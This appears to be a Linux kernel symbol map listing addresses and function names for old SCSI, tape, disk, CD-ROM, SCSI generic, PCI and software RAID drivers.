101b8bb0 t __unmap_scsi_data
101b8c20 t __map_scsi_single_data
101b8c74 t __map_scsi_single_data
101b8cc8 t __map_scsi_sg_data
101b8d1c t __map_scsi_sg_data
101b8d70 t __sync_scsi_data
101b8de8 t __sync_scsi_data
101b8e60 t ncr_print_hex
101b8eb8 t ncr_printl_hex
101b8f08 t PRINT_TARGET
101b8f38 t PRINT_TARGET
101b8f68 t PRINT_LUN
101b8f9c t PRINT_LUN
101b8fd0 t PRINT_ADDR
101b8ff8 t PRINT_ADDR
101b9020 t ncr_free_resources
101b9268 t ncr_prepare_nego
101b92f0 t .L1588
101b94e8 t .L1636
101b9580 t ncr_prepare_nego
101b95d0 t .L1605
101b96d8 t .L1625
101b96f4 t ncr_queue_command
101b980c t .L1744
101b9ad8 t .L1758
101b9ae8 t .L1759
101b9c34 t ncr_queue_command
101b9d44 t .L1685
101b9f7c t .L1697
101b9f8c t .L1698
101ba0d4 t ncr_start_next_ccb
101ba0f8 t .L1761
101ba18c t .L1776
101ba1ac t ncr_start_next_ccb
101ba1f0 t .L1701
101ba27c t .L1713
101ba284 t ncr_put_start_queue
101ba330 t ncr_put_start_queue
101ba3e8 t ncr_chip_reset
101ba458 t ncr_chip_reset
101ba504 t ncr_soft_reset
101ba554 t .L1794
101ba55c t .L1802
101ba584 t .L1808
101ba5ac t .L1809
101ba5b0 t ncr_start_reset
101ba5d4 t ncr_start_reset
101ba5ec t .L1721
101ba608 t .L1723
101ba608 t ncr_reset_scsi_bus
101ba884 t ncr_reset_scsi_bus
101bab3c t ncr_reset_bus
101bac38 t ncr_reset_bus
101bad34 t ncr_abort_command
101bade8 t ncr_abort_command
101baef0 t ncr_complete
101bb0ec t .L1890
101bb130 t .L1912
101bb1e0 t .L1935
101bb1fc t .L1936
101bb208 t .L1937
101bb2dc t .L1938
101bb2fc t .L1886
101bb310 t .L1887
101bb388 t .L1939
101bb3c4 t .L1940
101bb3d8 t .L1941
101bb42c t ncr_complete
101bb564 t .L1795
101bb61c t .L1808
101bb684 t .L1844
101bb718 t .L1870
101bb760 t .L1871
101bb878 t .L1872
101bb898 t .L1804
101bb8ac t .L1805
101bb924 t .L1873
101bb960 t .L1874
101bb974 t .L1875
101bb98c t .L1876
101bb99c t .L1877
101bb9d8 t ncr_wakeup_done
101bba00 t .L1945
101bba58 t .L1958
101bba8c t ncr_wakeup_done
101bbb1c t .L1889
101bbb34 t .L1894
101bbb4c t ncr_wakeup
101bbba4 t ncr_wakeup
101bbbfc t ncr_init
101bbc28 t .L1969
101bbec0 t .L2018
101bbed0 t .L2021
101bbf84 t .L2034
101bc1dc t .L2088
101bc1ec t .L2089
101bc210 t .L2090
101bc248 t .L2091
101bc248 t ncr_init
101bc2b4 t .L1912
101bc5a4 t .L1931
101bc660 t .L1946
101bc688 t .L1953
101bc6a0 t .L1954
101bc6b0 t .L1955
101bc6e8 t .L1956
101bc6e8 t ncr_negotiate
101bc744 t ncr_negotiate
101bc7a0 t ncr_getsync
101bc86c t ncr_getsync
101bc90c t ncr_get_xfer_info
101bca48 t ncr_set_sync_wide_status
101bcb28 t ncr_set_sync_wide_status
101bcbc8 t ncr_setsync
101bccd8 t .L2165
101bce4c t .L2194
101bce80 t .L2195
101bcf78 t ncr_setsync
101bd188 t .L2013
101bd1e8 t .L2023
101bd25c t ncr_setwide
101bd318 t .L2205
101bd350 t .L2216
101bd3b4 t ncr_setwide
101bd478 t .L2035
101bd4b0 t .L2044
101bd50c t ncr_setsyncwide
101bd634 t .L2236
101bd7ac t .L2265
101bd7e0 t .L2266
101bd8d8 t ncr_setup_tags
101bd920 t .L2267
101bd9f4 t .L2305
101bda04 t .L2306
101bda44 t ncr_setup_tags
101bda80 t .L2045
101bdb48 t .L2069
101bdb58 t .L2070
101bdb90 t ncr_usercmd
101bdd28 t .L2316
101bde18 t .L2390
101bde28 t ncr_usercmd
101be07c t ncr_timeout
101be0ac t .L2391
101be118 t .L2401
101be134 t .L2402
101be134 t ncr_timeout
101be164 t .L2139
101be1d8 t .L2149
101be1f0 t ncr_log_hard_error
101be43c t ncr_log_hard_error
101be670 t ncr_exception
101be80c t .L2428
101be978 t .L2486
101be9a4 t .L2487
101be9c0 t .L2488
101be9cc t .L2489
101be9dc t .L2490
101be9fc t .L2491
101bea10 t .L2492
101bea20 t .L2493
101bea54 t .L2494
101bea58 t ncr_exception
101bebc8 t .L2167
101becec t .L2212
101bed28 t .L2213
101bed3c t .L2214
101bed6c t .L2215
101bedbc t .L2216
101bedcc t .L2217
101bee00 t .L2218
101bee28 t .L2219
101bee38 t ncr_recover_scsi_int
101bef54 t .L2495
101bef70 t .L2514
101bef70 t ncr_int_sto
101befe0 t .L2521
101beff8 t .L2522
101beffc t ncr_int_sto
101bf078 t ncr_int_udc
101bf0fc t ncr_int_sbmc
101bf184 t ncr_int_sbmc
101bf21c t ncr_int_par
101bf328 t .L2533
101bf3d0 t .L2577
101bf41c t .L2578
101bf440 t .L2579
101bf460 t .L2580
101bf464 t ncr_int_par
101bf514 t .L2246
101bf58c t .L2247
101bf594 t ncr_int_ma
101bf8b8 t .L2610
101bf8c0 t .L2581
101bf974 t .L2746
101bfbf8 t .L2747
101bfc54 t .L2748
101bfc64 t .L2749
101bfcd0 t ncr_int_ma
101bfd6c t .L2260
101bfe9c t .L2248
101c0048 t .L2314
101c01ac t .L2315
101c01c8 t ncr_sir_to_redo
101c04b4 t .L2778
101c067c t .L2888
101c07a0 t ncr_sir_to_redo
101c0900 t .L2316
101c0954 t .L2339
101c0a3c t ncr_clear_tasks
101c0a94 t .L2892
101c0b20 t .L2903
101c0b20 t ncr_sir_task_recovery
101c0c64 t .L2904
101c0d98 t .L2905
101c0dcc t .L3046
101c1068 t .L2994
101c1084 t .L3047
101c10bc t .L3048
101c1130 t ncr_evaluate_dp
101c12a8 t ncr_modify_dp
101c1320 t .L3103
101c147c t .L3152
101c1488 t ncr_compute_residual
101c1548 t ncr_show_msg
101c15f8 t ncr_show_msg
101c16a8 t ncr_print_msg
101c1700 t ncr_print_msg
101c1758 t ncr_sync_nego
101c1884 t .L3215
101c18b0 t .L3234
101c191c t .L3204
101c196c t .L3251
101c19a0 t .L3252
101c19f8 t .L3225
101c1a1c t .L3253
101c1a34 t .L3254
101c1a4c t ncr_wide_nego
101c1b08 t .L3260
101c1b84 t .L3255
101c1c18 t .L3286
101c1c30 t .L3287
101c1c30 t ncr_ppr_nego
101c1dd0 t .L3306
101c1e24 t .L3331
101c1ea0 t .L3288
101c1f08 t .L3353
101c1f70 t .L3354
101c1ff0 t .L3317
101c2014 t .L3355
101c2030 t .L3356
101c2044 t .L3357
101c2084 t ncr_nego_default
101c20b8 t .L3359
101c20f4 t .L3374
101c2174 t .L3375
101c2198 t .L3376
101c21ac t .L3377
101c21ac t ncr_nego_rejected
101c21d8 t ncr_int_sir
101c2330 t .L3379
101c2368 t .L3405
101c2368 t .L3499
101c2394 t .L3500
101c23a8 t .L3501
101c2464 t .L3502
101c2474 t .L3503
101c2484 t .L3504
101c2494 t .L3505
101c24d0 t .L3506
101c250c t .L3443
101c2530 t .L3507
101c2540 t .L3508
101c2580 t .L3509
101c2664 t .L3510
101c26a8 t .L3511
101c2700 t .L3512
101c2704 t ncr_int_sir
101c2850 t .L2356
101c2888 t .L2368
101c28b4 t .L2477
101c28c4 t .L2478
101c2974 t .L2389
101c2998 t .L2479
101c29ac t .L2480
101c2aac t .L2405
101c2b6c t .L2481
101c2c6c t .L2420
101c2d38 t .L2482
101c2d58 t .L2483
101c2d88 t .L2484
101c2da0 t .L2485
101c2de0 t .L2486
101c2e00 t ncr_get_ccb
101c2ff4 t ncr_get_ccb
101c3068 t .L2490
101c31fc t .L2513
101c31fc t ncr_free_ccb
101c336c t ncr_free_ccb
101c34e0 t ncr_alloc_ccb
101c35c4 t ncr_alloc_ccb
101c36a8 t ncr_ccb_from_dsa
101c36c8 t ncr_init_tcb
101c36d4 t ncr_init_tcb
101c3834 t ncr_alloc_lcb
101c3a50 t ncr_alloc_lcb
101c3b40 t .L2550
101c3c0c t .L2558
101c3c18 t ncr_setup_lcb
101c3e78 t ncr_setup_lcb
101c40cc t ncr_scatter_no_sglist
101c4170 t ncr_scatter_896R1
101c423c t .L3700
101c4254 t .L3718
101c4258 t ncr_scatter
101c42fc t .L3721
101c4314 t .L3738
101c4318 t ncr_scatter
101c43f0 t ncr_selectclock
101c442c t .L3786
101c44bc t .L3800
101c4500 t .L3808
101c4510 t .L3809
101c4590 t ncr_selectclock
101c45c8 t .L2647
101c464c t .L2661
101c468c t .L2668
101c469c t .L2669
101c471c t device_queue_depth
101c4888 t device_queue_depth
101c49f0 t sym53c8xx_select_queue_depths
101c4a18 t .L4165
101c4ae0 t .L4182
101c4ae8 T sym53c8xx_info
101c4af4 T sym53c8xx_queue_command
101c4b98 t sym53c8xx_intr
101c4c48 t sym53c8xx_timeout
101c4cb0 T sym53c8xx_reset
101c4d88 T sym53c8xx_abort
101c4e34 t insert_into_waiting_list
101c4e68 t insert_into_waiting_list
101c4e9c t retrieve_from_waiting_list
101c4edc t retrieve_from_waiting_list
101c4f1c t process_waiting_list
101c4fb0 t process_waiting_list
101c5044 t skip_spaces
101c50a4 t skip_spaces
101c5104 t get_int_arg
101c5164 t get_int_arg
101c51c4 t is_keyword
101c5238 t is_keyword
101c52ac t ncr_user_command
101c58ec t ncr_user_command
101c5efc t copy_mem_info
101c5f78 t copy_mem_info
101c5ff4 t copy_info
101c6050 t copy_info
101c60ac t ncr_host_info
101c61a0 t ncr_host_info
101c628c t sym53c8xx_proc_info
101c62fc t .L4435
101c631c T lasi7xx_detect
101c631c t .L4450
101c635c t lasi_scsi_callback_700
101c63b0 t lasi_scsi_callback_710
101c6400 t ncr_dump
101c690c t .L905
101c6a10 t .L879
101c6a74 t .L909
101c6fb4 t .L910
101c6ff8 t param_setup
101c71d8 t sbcl_to_phase
101c7260 t ncr_halt
101c7520 t sim700_soft_reset
101c7944 t .L1029
101c7d2c t .L1053
101c7d30 t sim700_driver_init
101c8530 t handle_sdtr
101c86f8 t handle_rej
101c879c t datapath_residual
101c883c t .L1271
101c88f4 t .L1274
101c8930 t .L1272
101c8984 t .L1275
101c8988 t handle_idd
101c89f0 t .L1298
101c8bf8 t .L1302
101c8bfc t handle_phase_mismatch
101c8c90 t .L1463
101c8e10 t .L1457
101c8e34 t .L1456
101c8e98 t .L1318
101c8f04 t .L1441
101c8ff4 t .L1468
101c9048 t .L1469
101c9054 t .L1470
101c9188 t .L1461
101c91ac t .L1460
101c929c t .L1471
101c92ac t .L1472
101c9300 t .L1473
101c9318 t .L1474
101c937c t .L1313
101c93b0 t .L1475
101c93c8 t .L1476
101c93e0 t .L1477
101c93e4 t handle_script_int
101c95e0 t .L1483
101c9690 t .L1557
101c978c t do_sim700_intr_handle
101c97b0 t sim700_intr_handle
101c9ae0 t .L1599
101c9b58 t .L1602
101c9b74 t .L1603
101c9bfc t .L1609
101c9c08 t .L1635
101c9d00 t .L1708
101c9d68 t .L1582
101c9dc8 t .L1660
101c9e1c t .L1671
101c9e20 t .L1562
101c9e6c t .L1709
101c9e80 t .L1710
101c9f80 t .L1711
101c9fb8 t .L1712
101c9fe0 t .L1697
101ca064 t .L1713
101ca0d4 t .L1714
101ca138 t .L1698
101ca16c t .L1715
101ca17c t .L1716
101ca19c t .L1717
101ca1b8 t .L1718
101ca200 t .L1719
101ca22c t .L1720
101ca26c t .L1721
101ca270 t run_command
101ca74c t .L1872
101ca794 t .L1877
101ca804 t .L1900
101ca830 t .L1901
101cab3c t process_issue_queue
101cac20 T sim700_queuecommand
101cad78 t .L1942
101cad98 t .L1949
101cadb0 T sim700_init_host
101caf9c t .L1969
101cafb8 t .L1964
101cafc4 t .L1957
101cafec t .L1955
101cb04c t .L2054
101cb064 t .L2055
101cb11c t .L1975
101cb30c t .L2004
101cb364 t .L2056
101cb3d8 t .L2017
101cb440 t .L2057
101cb47c t .L2058
101cb4ac t .L2046
101cb4b8 t .L2059
101cb514 t .L2060
101cb538 t .L2061
101cb568 t .L2062
101cb578 t .L2063
101cb5c4 t .L2064
101cb5c8 T sim700_abort
101cb5fc T sim700_dev_reset
101cb630 T sim700_bus_reset
101cb660 t full_reset
101cb914 t .L2093
101cb938 t .L2097
101cb964 T sim700_host_reset
101cb994 t run_process_issue_queue
101cb9bc t .L1903
101cb9d8 T zalon7xx_detect
101cb9d8 t .L2104
101cba18 t ncr_ccb_skipped
101cbab8 t ncr_init_ccb
101cbb80 t ncr_lookup
101cbc34 t ncr53c8xx_select_queue_depths
101cbc5c t .L2719
101cbd20 T ncr53c8xx_queue_command
101cbd20 t .L2731
101cbdbc t ncr53c8xx_intr
101cbe6c t ncr53c8xx_timeout
101cbed4 T ncr53c8xx_reset
101cbfac T ncr53c8xx_abort
101cc058 t ncr53c8xx_proc_info
101cc0c0 t .L2969
101cc0e0 T zalon_attach
101cc0e0 t .L2984
101cc2a0 T ncr53c8xx_info
101cc2ac t st_incompatible
101cc370 t st_chk_result
101cc428 t .L858
101cc4bc t .L860
101cc4d4 t st_sleep_done
101cc550 t .L871
101cc568 t .L875
101cc5c8 t st_do_scsi
101cc6c4 t .L890
101cc704 t .L894
101cc74c t write_behind_check
101cc780 t .L897
101cc840 t .L903
101cc840 t cross_eof
101cc934 t flush_write_buffer
101cc9c0 t .L919
101ccadc t .L929
101ccb1c t flush_buffer
101ccb44 t .L930
101ccc28 t .L951
101ccc5c t .L952
101ccc60 t set_mode_densblk
101ccd3c t st_open
101cd0e8 t .L1027
101cd3e8 t .L1073
101cd514 t st_flush
101cd844 t st_release
101cd874 t .L1131
101cd910 t .L1142
101cd910 t st_write
101cda08 t .L1150
101cda28 t .L1235
101cda40 t .L1274
101cdabc t .L1275
101ce18c t read_tape
101ce56c t st_read
101ce668 t .L1390
101ce680 t .L1423
101ce9cc t st_log_options
101cea88 t st_set_options
101ceb70 t .L1429
101cec18 t .L1492
101cec50 t .L1493
101cec78 t .L1494
101cec90 t .L1495
101cecc8 t .L1496
101ced24 t .L1497
101ced58 t .L1498
101cee20 t read_mode_page
101ceec4 t write_mode_page
101cefb4 t st_compression
101cf070 t st_int_ioctl
101cfa3c t get_location
101cfc1c t set_location
101cfe78 t find_partition
101cfeb0 t update_partition
101cff04 t nbr_partitions
101cff5c t partition_tape
101d00c8 t st_ioctl
101d0144 t .L1761
101d01d0 t .L1768
101d01e4 t .L1854
101d01fc t .L1908
101d0648 t .L1909
101d0928 t .L1852
101d0940 t .L1910
101d094c t .L1911
101d0964 t new_tape_buffer
101d0c24 t enlarge_buffer
101d0df4 t normalize_buffer
101d0e90 t append_to_buffer
101d0ff4 t from_buffer
101d1164 t validate_options
101d1220 t st_attach
101d16e8 t st_detect
101d176c t st_init
101d1858 t st_detach
101d194c t sd_ioctl
101d1a24 t .L846
101d1aa4 t .L934
101d1b9c t .L1070
101d1bec t .L852
101d1cf0 t .L1071
101d1d04 t .L1072
101d1d38 t .L1073
101d1e0c t sd_devname
101d1e3c t .L1076
101d1e80 t .L1077
101d1e80 t sd_find_queue
101d1eb8 t sd_init_command
101d1f18 t .L1082
101d20cc t .L1121
101d2128 t sd_open
101d2350 t sd_release
101d239c t .L1151
101d2450 t .L1159
101d2450 t rw_intr
101d25e0 t rw_intr
101d2728 t check_scsidisk_media_change
101d2838 t sd_init_onedisk
101d299c t .L1198
101d29d8 t .L1215
101d2ad4 t .L1224
101d2be0 t .L1245
101d2cac t .L1269
101d2cd4 t .L1270
101d2d50 t .L1227
101d2f1c t .L1271
101d2f2c t .L1272
101d2f40 t .L1207
101d2f80 t .L1273
101d3004 t .L1274
101d3054 t sd_init
101d366c t sd_finish
101d3900 t sd_detect
101d39b8 t sd_attach
101d3b1c T revalidate_scsidisk
101d3d28 t fop_revalidate_scsidisk
101d3d48 t sd_detach
101d3f30 t sr_release
101d406c t sr_media_change
101d4188 t sr_find_queue
101d41c4 t sr_scatter_pad
101d43f4 t sr_init_command
101d44d4 t .L895
101d46c0 t .L928
101d46d0 t sr_open
101d4844 t sr_detect
101d48b0 t sr_attach
101d497c T get_sectorsize
101d4a40 t .L956
101d4b70 t .L979
101d4ccc T get_capabilities
101d4f6c t .L980
101d50d0 t .L1017
101d50d4 t sr_packet
101d514c t sr_init
101d5390 t sr_finish
101d5428 t .L1046
101d55f8 t .L1058
101d5604 t sr_detach
101d56f8 t sr_fake_playtrkind
101d5740 t .L828
101d581c t .L836
101d5828 T sr_do_ioctl
101d58b8 t .L840
101d59f4 t .L846
101d5a00 t .L871
101d5a1c t .L872
101d5a4c t .L873
101d5a54 t .L850
101d5a6c t .L874
101d5a7c t .L875
101d5a84 t .L855
101d5ab0 t .L876
101d5ab0 t test_unit_ready
101d5b24 T sr_tray_move
101d5bb0 T sr_lock_door
101d5c04 T sr_drive_status
101d5c40 T sr_disk_status
101d5d44 T sr_get_last_session
101d5da8 T sr_get_mcn
101d5e74 T sr_reset
101d5e98 T sr_select_speed
101d5f58 T sr_audio_ioctl
101d5fb0 t .L922
101d6048 t .L936
101d61cc T sr_read_cd
101d62b4 T sr_read_sector
101d6330 t .L946
101d641c T sr_is_xa
101d641c t .L953
101d64c0 T sr_dev_ioctl
101d6558 t .L960
101d6580 T sr_vendor_init
101d6580 t .L984
101d65a0 T sr_set_blocklength
101d66d4 T sr_cd_check
101d67b8 t .L836
101d6900 t .L850
101d6938 t sg_open
101d6a5c t .L847
101d6b2c t .L893
101d6b84 t .L866
101d6bc4 t .L894
101d6be8 t sg_release
101d6cb4 t sg_read
101d6fbc t .L921
101d7014 t .L989
101d7040 t sg_new_read
101d713c t sg_write
101d7230 t .L1008
101d7374 t .L1057
101d7398 t sg_new_write
101d74f4 t sg_common_write
101d76c0 t sg_ioctl
101d7770 t .L1093
101d77bc t .L1804
101d77e4 t .L1790
101d7840 t .L1805
101d7908 t .L1806
101d7994 t .L1807
101d7f64 t .L1661
101d7fcc t .L1808
101d7fe0 t .L1809
101d80d0 t .L1106
101d8170 t .L1810
101d8214 t sg_poll
101d82ec t sg_fasync
101d832c t sg_cmd_done_bh
101d84f0 t .L1838
101d8584 t .L1873
101d8588 t sg_detect
101d8654 t sg_init
101d868c t .L1896
101d8708 t .L1910
101d8764 t sg_attach
101d8950 t sg_finish
101d8954 t sg_detach
101d8a98 t sg_shorten_timeout
101d8ab4 t sg_start_req
101d8b78 t .L1996
101d8ba0 t .L2004
101d8bd0 t sg_finish_rem_req
101d8c10 t .L2007
101d8c38 t .L2008
101d8c38 t sg_build_sgat
101d8cdc t sg_unmap_and
101d8ce0 t sg_build_dir
101d8ce8 t sg_build_indi
101d8efc t sg_write_xfer
101d8f90 t .L2045
101d9150 t .L2092
101d91ec t sg_u_iovec
101d9270 t sg_get_sgat_msa
101d9298 t sg_remove_scat
101d9330 t .L2112
101d9374 t .L2115
101d9374 t sg_read_xfer
101d9404 t .L2121
101d95c4 t .L2169
101d965c t sg_read_oxfer
101d9694 t .L2170
101d9714 t .L2187
101d9728 t .L2188
101d9728 t sg_build_reserve
101d97a4 t sg_link_reserve
101d9864 t sg_unlink_reserve
101d98b0 t sg_get_rq_mark
101d98ec t sg_get_nth_request
101d9924 t sg_add_request
101d9a14 t sg_remove_request
101d9a94 t sg_get_nth_sfp
101d9acc t sg_add_sfp
101d9bc0 t sg_remove_sfp
101d9ca8 t .L2325
101d9d0c t .L2344
101d9d20 t sg_res_in_use
101d9d64 t sg_dio_in_use
101d9dbc t sg_low_malloc
101d9fac t sg_malloc
101da05c t .L2435
101da0a4 t .L2420
101da10c t .L2436
101da10c t sg_low_free
101da17c t .L2437
101da1ac t .L2459
101da1b4 t .L2460
101da1cc t .L2461
101da1cc t sg_free
101da1ec t .L2464
101da200 t .L2466
101da200 t sg_clr_srpnt
101da21c t sg_ms_to_jif
101da260 t sg_jif_to_ms
101da2b8 t sg_allow_access
101da2f8 t sg_last_dev
101da354 t sg_get_dev
101da39c t sg_proc_init
101da490 t sg_proc_cleanup
101da51c t sg_proc_dressz_read
101da5c0 t sg_proc_dressz_info
101da644 t sg_proc_dressz_write
101da6f8 t sg_proc_debug_read
101da79c t sg_proc_debug_info
101dabdc t .L2654
101dace4 t .L2659
101dae4c t sg_proc_dev_read
101daef0 t sg_proc_dev_info
101dafa8 t .L2678
101db018 t .L2679
101db01c t sg_proc_devhdr_read
101db0c0 t sg_proc_devhdr_info
101db13c t sg_proc_devstrs_read
101db1e0 t sg_proc_devstrs_info
101db268 t .L2706
101db2d8 t .L2707
101db2dc t sg_proc_host_read
101db380 t sg_proc_host_info
101db4d4 t sg_proc_hosthdr_read
101db578 t sg_proc_hosthdr_info
101db5f4 t sg_proc_hoststrs_read
101db698 t sg_proc_hoststrs_info
101db7e8 t sg_proc_version_read
101db88c t sg_proc_version_info
101db918 T register_cdrom
101db958 t .L679
101db988 t .L683
101dba78 t .L708
101dbac0 t .L730
101dbc24 t .L731
101dbc3c T unregister_cdrom
101dbc3c t .L732
101dbc68 t .L734
101dbcd0 t .L745
101dbcfc t .L750
101dbd1c T cdrom_find_device
101dbd1c t .L751
101dbd3c t cdrom_open
101dbd68 t .L760
101dbdd0 t .L770
101dbde4 t .L766
101dbe1c t .L771
101dbe38 t .L772
101dbe48 t .L773
101dbe48 t open_for_data
101dbe80 t .L775
101dbea4 t .L777
101dbea8 t .L778
101dbeac t .L827
101dbeb0 t .L784
101dbef8 t .L809
101dbf28 t .L831
101dbf44 t .L794
101dbf50 t .L801
101dbf74 t .L802
101dbf94 t .L832
101dbff8 t .L833
101dc00c t .L834
101dc018 t .L835
101dc02c t .L796
101dc04c t .L836
101dc058 t .L837
101dc070 t .L838
101dc08c t .L839
101dc098 t .L779
101dc0c0 t .L781
101dc0f8 t .L840
101dc14c t .L841
101dc160 t .L842
101dc16c t .L843
101dc188 t .L844
101dc194 t .L845
101dc1a8 t .L846
101dc1b8 t .L847
101dc1b8 t check_for_audio_disc
101dc1f0 t .L849
101dc220 t .L852
101dc224 t .L851
101dc280 t .L854
101dc2a8 t .L856
101dc2e0 t .L881
101dc31c t .L882
101dc328 t .L864
101dc33c t .L883
101dc354 t .L884
101dc360 t .L885
101dc36c t .L860
101dc380 t .L886
101dc38c t .L887
101dc3a0 t .L888
101dc3b0 t .L889
101dc3b0 t cdrom_release
101dc3e8 t .L891
101dc4e4 t .L896
101dc50c t .L909
101dc530 t .L910
101dc530 t cdrom_read_mech_status
101dc62c t cdrom_slot_status
101dc658 t .L923
101dc6c4 T cdrom_number_of_slots
101dc6c4 t .L932
101dc6f0 t .L934
101dc72c t .L937
101dc72c t cdrom_load_unload
101dc750 t .L939
101dc834 T cdrom_select_disc
101dc834 t .L951
101dc858 t .L953
101dc8a4 t .L952
101dc93c t .L967
101dc94c t .L968
101dc94c t media_changed
101dc9ec t cdrom_media_changed
101dca40 T cdrom_count_tracks
101dca8c t .L977
101dcad0 t .L976
101dcb74 t .L984
101dcbbc t .L1009
101dcbd8 t .L1010
101dcc18 t .L1011
101dcc18 t sanitize_format
101dccc0 T init_cdrom_command
101dcd34 t setup_report_key
101dcdc4 t setup_send_key
101dce24 t dvd_do_auth
101dcf00 t .L1052
101dcf74 t .L1113
101dcf80 t .L1067
101dcffc t .L1114
101dd008 t .L1055
101dd064 t .L1115
101dd070 t .L1058
101dd0e0 t .L1116
101dd0ec t .L1070
101dd160 t .L1117
101dd180 t .L1061
101dd248 t .L1118
101dd254 t .L1064
101dd2a8 t .L1119
101dd2b0 t .L1073
101dd2e4 t .L1120
101dd2f0 t .L1076
101dd384 t .L1121
101dd390 t .L1079
101dd3e4 t .L1122
101dd3e4 t dvd_read_physical
101dd5a8 t dvd_read_copyright
101dd65c t dvd_read_disckey
101dd70c t .L1137
101dd740 t .L1139
101dd740 t dvd_read_bca
101dd824 t dvd_read_manufact
101dd924 t .L1150
101dd938 t .L1152
101dd938 t dvd_read_struct
101dd994 t .L1153
101dd9ac t .L1168
101dd9b8 t .L1169
101dd9c4 t .L1170
101dd9d0 t .L1171
101dd9e0 T cdrom_mode_sense
101dda48 T cdrom_mode_select
101ddab8 t cdrom_read_subchannel
101ddbf0 t cdrom_read_cd
101ddc7c t cdrom_read_block
101ddd58 t cdrom_ioctl
101ddf08 t .L1192
101ddf30 t .L1189
101ddfd8 t .L1472
101ddfe4 t .L1473
101de0f0 t .L1273
101de158 t .L1474
101de164 t .L1475
101de198 t .L1249
101de1d4 t .L1476
101de234 t .L1221
101de328 t .L1477
101de334 t .L1232
101de35c t .L1478
101de3e8 t .L1242
101de3f8 t .L1479
101de404 t .L1480
101de460 t .L1481
101de4b4 t .L1279
101de4fc t .L1482
101de524 t .L1483
101de530 t .L1285
101de5b0 t .L1379
101de5c4 t .L1484
101de5d0 t .L1295
101de5e4 t .L1485
101de848 t .L1320
101de86c t .L1486
101de888 t .L1324
101de8d4 t .L1487
101de9f4 t .L1341
101dea38 t .L1488
101dea54 t .L1329
101deaa4 t .L1489
101deaf4 t .L1333
101deb50 t .L1490
101deb88 t .L1267
101debb4 t .L1491
101debd4 t .L1271
101debf0 t .L1492
101debf0 t cdrom_switch_blocksize
101deccc t cdrom_do_cmd
101ded6c t .L1506
101dedb4 t .L1510
101deddc t mmc_ioctl
101df330 t .L1511
101df484 t .L1572
101df4c4 t .L1779
101df4d0 t .L1552
101df53c t .L1780
101df544 t .L1569
101df588 t .L1781
101df72c t .L1559
101df870 t .L1782
101df8bc t .L1783
101df8c8 t .L1555
101df954 t .L1784
101df990 t .L1576
101dfa08 t .L1785
101dfa2c t .L1582
101dfa80 t .L1786
101dfaa4 t .L1588
101dfad0 t .L1787
101dfadc t .L1788
101dfaec t .L1591
101dfb1c t .L1789
101dfb2c t .L1595
101dfb78 T cdrom_get_track_info
101dfb78 t .L1790
101dfc60 T cdrom_get_disc_info
101dfd24 T cdrom_get_last_written
101dfea0 T cdrom_get_next_writable
101dffac T cdrom_sysctl_info
101e002c t .L1828
101e0580 T cdrom_update_settings
101e0580 t .L1935
101e06a4 t cdrom_sysctl_handler
101e07d8 t cdrom_sysctl_register
101e0880 t cdrom_sysctl_unregister
101e08a0 T pci_find_slot
101e08e8 T pci_find_subsys
101e0968 T pci_find_device
101e0990 T pci_find_class
101e09d4 T pci_find_capability
101e0a7c t .L714
101e0ac8 t .L724
101e0adc T pci_find_parent_resource
101e0b6c T pci_set_power_state
101e0be8 t .L754
101e0d18 t .L760
101e0d1c T pci_enable_device
101e0d54 T pci_get_interrupt_pin
101e0de4 T pci_match_device
101e0e80 t pci_announce_device
101e0f10 T pci_register_driver
101e0fac T pci_unregister_driver
101e102c t run_sbin_hotplug
101e1168 T pci_insert_device
101e1210 t pci_free_resources
101e1264 T pci_remove_device
101e12dc T pci_dev_driver
101e1320 T pci_read_config_byte
101e1354 T pci_read_config_word
101e139c T pci_read_config_dword
101e13e8 T pci_write_config_byte
101e1420 T pci_write_config_word
101e146c T pci_write_config_dword
101e14b8 T pci_set_master
101e14f0 t .L888
101e1514 t .L890
101e1514 t pci_size
101e152c t pci_read_bases
101e1798 t pci_read_irq
101e17e8 T pci_setup_device
101e18f4 t .L977
101e1980 t .L991
101e1984 t pci_do_fixups
101e1a18 T pci_fixup_device
101e1a64 T pcibios_present
101e1a7c T pcibios_find_class
101e1b04 T pcibios_find_device
101e1b9c T pcibios_read_config_byte
101e1bf0 T pcibios_read_config_word
101e1c44 T pcibios_read_config_dword
101e1c98 T pcibios_write_config_byte
101e1cf0 T pcibios_write_config_word
101e1d48 T pcibios_write_config_dword
101e1d9c T pci_class_name
101e1dd8 t pci_assign_bus_resource
101e1eec T pci_assign_resource
101e1fec t proc_bus_pci_lseek
101e2064 t proc_bus_pci_read
101e2300 t proc_bus_pci_write
101e2554 t get_pci_dev_info
101e276c T pci_proc_attach_device
101e2840 T pci_proc_detach_device
101e2888 t sprint_dev_config
101e29d4 t .L1095
101e2a64 t .L1094
101e2ae8 t .L1100
101e2b38 t .L1101
101e2b68 t pci_read_proc
101e2c78 T sys_pciconfig_read
101e2dac t .L611
101e2e68 t .L748
101e2e74 t .L749
101e2e7c T sys_pciconfig_write
101e2f58 t .L835
101e2f90 t .L836
101e2fb8 t .L833
101e2fdc t dummycon_startup
101e2fe8 t dummycon_init
101e3020 t .L381
101e303c t .L382
101e303c t dummycon_dummy
101e3044 t linear_run
101e320c t linear_stop
101e3238 t linear_make_request
101e32d4 t .L1415
101e3360 t .L1416
101e3364 t linear_status
101e3398 t linear_exit
101e33b4 t create_strip_zones
101e34a8 t .L1386
101e35f4 t .L1404
101e3600 t .L1405
101e3620 t .L1371
101e3690 t .L1406
101e36a0 t .L1372
101e36a8 t .L1369
101e36d4 t .L1407
101e36e4 t .L1408
101e36e4 t raid0_run
101e3938 t raid0_stop
101e3984 t raid0_make_request
101e3a10 t .L1455
101e3b14 t .L1461
101e3b28 t .L1462
101e3b3c t .L1463
101e3b40 t raid0_status
101e3b74 t raid0_exit
101e3b90 t raid1_alloc_bh
101e3c40 t .L1367
101e3ce4 t .L1396
101e3ce4 t raid1_grow_bh
101e3d88 t raid1_shrink_bh
101e3dfc t raid1_alloc_r1bh
101e3e2c t .L1447
101e3ec0 t .L1451
101e3f1c t raid1_grow_r1bh
101e3fbc t raid1_shrink_r1bh
101e3ffc t raid1_alloc_buf
101e40f0 t raid1_grow_buffers
101e41b8 t raid1_shrink_buffers
101e4210 t raid1_map
101e4278 t raid1_reschedule_retry
101e42dc t raid1_end_bh_io
101e4330 t .L1573
101e4374 t .L1577
101e43ac t .L1578
101e43ec t .L1586
101e43f8 t .L1587
101e442c t .L1588
101e443c T raid1_end_request
101e4474 t .L1593
101e4498 t .L1589
101e44d4 t .L1603
101e4508 t .L1604
101e4524 t .L1605
101e4528 t raid1_read_balance
